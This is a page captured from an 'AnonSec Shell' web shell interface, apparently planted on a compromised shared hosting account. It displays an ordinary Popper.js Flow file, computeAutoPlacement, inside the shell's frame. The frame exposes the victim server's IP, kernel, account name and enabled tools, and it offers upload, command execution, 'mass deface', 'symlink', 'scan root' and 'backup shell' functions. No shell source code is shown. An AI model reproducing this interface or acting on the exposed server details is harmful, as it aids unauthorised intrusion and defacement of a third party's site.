AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.118.195.236   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/www/easybuyer/node_modules/@popperjs/core/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/www/easybuyer/node_modules/@popperjs/core/lib/utils/computeAutoPlacement.js.flow
// @flow
import type { State, Padding } from '../types';
import type {
  Placement,
  ComputedPlacement,
  Boundary,
  RootBoundary,
} from '../enums';
import getVariation from './getVariation';
import {
  variationPlacements,
  basePlacements,
  placements as allPlacements,
} from '../enums';
import detectOverflow from './detectOverflow';
import getBasePlacement from './getBasePlacement';

type Options = {
  placement: Placement,
  padding: Padding,
  boundary: Boundary,
  rootBoundary: RootBoundary,
  flipVariations: boolean,
  allowedAutoPlacements?: Array<Placement>,
};

type OverflowsMap = { [ComputedPlacement]: number };

export default function computeAutoPlacement(
  state: $Shape<State>,
  options: Options = {}
): Array<ComputedPlacement> {
  const {
    placement,
    boundary,
    rootBoundary,
    padding,
    flipVariations,
    allowedAutoPlacements = allPlacements,
  } = options;

  const variation = getVariation(placement);

  const placements = variation
    ? flipVariations
      ? variationPlacements
      : variationPlacements.filter(
          (placement) => getVariation(placement) === variation
        )
    : basePlacements;

  let allowedPlacements = placements.filter(
    (placement) => allowedAutoPlacements.indexOf(placement) >= 0
  );

  if (allowedPlacements.length === 0) {
    allowedPlacements = placements;

    if (false) {
      console.error(
        [
          'Popper: The `allowedAutoPlacements` option did not allow any',
          'placements. Ensure the `placement` option matches the variation',
          'of the allowed placements.',
          'For example, "auto" cannot be used to allow "bottom-start".',
          'Use "auto-start" instead.',
        ].join(' ')
      );
    }
  }

  // $FlowFixMe[incompatible-type]: Flow seems to have problems with two array unions...
  const overflows: OverflowsMap = allowedPlacements.reduce((acc, placement) => {
    acc[placement] = detectOverflow(state, {
      placement,
      boundary,
      rootBoundary,
      padding,
    })[getBasePlacement(placement)];

    return acc;
  }, {});

  return Object.keys(overflows).sort((a, b) => overflows[a] - overflows[b]);
}

Anon7 - 2022
AnonSec Team